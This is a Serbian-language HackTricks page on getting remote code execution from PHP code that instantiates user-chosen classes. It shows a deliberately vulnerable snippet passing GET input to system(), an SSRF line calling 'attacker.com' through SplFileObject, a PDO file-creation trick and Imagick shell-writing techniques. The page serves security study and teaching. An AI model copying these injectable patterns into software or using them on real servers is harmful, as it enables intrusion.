PHP - RCE zloupotreba kreiranja objekata: new $_GET["a"]($_GET["b"])
Reading time: 4 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Ovo je u suštini sažetak https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
Uvod
Kreiranje novih proizvoljnih objekata, kao što je new $_GET["a"]($_GET["a"])
, može dovesti do daljinskog izvršavanja koda (RCE), kako je detaljno opisano u writeup. Ovaj dokument ističe različite strategije za postizanje RCE.
RCE putem prilagođenih klasa ili automatskog učitavanja
Sintaksa new $a($b)
se koristi za instanciranje objekta gde $a
predstavlja ime klase, a $b
je prvi argument prosleđen konstruktoru. Ove promenljive mogu biti dobijene iz korisničkih unosa kao što su GET/POST, gde mogu biti stringovi ili nizovi, ili iz JSON-a, gde se mogu pojaviti kao druge vrste.
Razmotrite sledeći kod:
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
U ovom slučaju, postavljanje $a
na App
ili App2
i $b
na sistemsku komandu (npr., uname -a
) rezultira izvršavanjem te komande.
Autoloading funkcije mogu biti iskorišćene ako takve klase nisu direktno dostupne. Ove funkcije automatski učitavaju klase iz fajlova kada su potrebne i definišu se koristeći spl_autoload_register
ili __autoload
:
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
Ponašanje automatskog učitavanja varira sa verzijama PHP-a, nudeći različite RCE mogućnosti.
RCE putem ugrađenih klasa
U nedostatku prilagođenih klasa ili automatskih učitavača, ugrađene PHP klase mogu biti dovoljne za RCE. Broj ovih klasa kreće se između 100 i 200, u zavisnosti od verzije PHP-a i ekstenzija. Mogu se nabrojati koristeći get_declared_classes()
.
Konstruktori od interesa mogu se identifikovati putem refleksije API-ja, kao što je prikazano u sledećem primeru i linku https://3v4l.org/2JEGF.
RCE putem specifičnih metoda uključuje:
SSRF + Phar deserializacija
Klasa SplFileObject
omogućava SSRF putem svog konstruktora, omogućavajući veze sa bilo kojim URL-om:
new SplFileObject('http://attacker.com/');
SSRF može dovesti do napada deserializacije u verzijama PHP-a pre 8.0 koristeći Phar protokol.
Iskorišćavanje PDO-a
Konstruktor klase PDO omogućava povezivanje sa bazama podataka putem DSN stringova, potencijalno omogućavajući kreiranje fajlova ili druge interakcije:
new PDO("sqlite:/tmp/test.txt")
SoapClient/SimpleXMLElement XXE
Verzije PHP-a do 5.3.22 i 5.4.12 bile su podložne XXE napadima putem SoapClient
i SimpleXMLElement
konstruktora, u zavisnosti od verzije libxml2.
RCE putem Imagick ekstenzije
U analizi zavisnosti projekta, otkriveno je da se Imagick može iskoristiti za izvršavanje komandi instanciranjem novih objekata. Ovo predstavlja priliku za iskorišćavanje ranjivosti.
VID parser
Identifikovana je sposobnost VID parsera da piše sadržaj na bilo koju određenu putanju u datotečnom sistemu. To može dovesti do postavljanja PHP shelle u direktorijum koji je dostupan putem veba, čime se postiže Remote Code Execution (RCE).
VID Parser + Upload fajlova
Napomenuto je da PHP privremeno skladišti otpremljene fajlove u /tmp/phpXXXXXX
. VID parser u Imagick-u, koristeći msl protokol, može obraditi džoker znakove u putanjama fajlova, olakšavajući prenos privremenog fajla na odabrano mesto. Ova metoda nudi dodatni pristup za postizanje proizvoljnog pisanja fajlova unutar datotečnog sistema.
PHP Crash + Brute Force
Metoda opisana u originalnom izveštaju uključuje otpremanje fajlova koji izazivaju pad servera pre brisanja. Kroz brute-force napad na ime privremenog fajla, postaje moguće da Imagick izvrši proizvoljan PHP kod. Međutim, ova tehnika se pokazala efikasnom samo u zastareloj verziji ImageMagick-a.
Reference
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.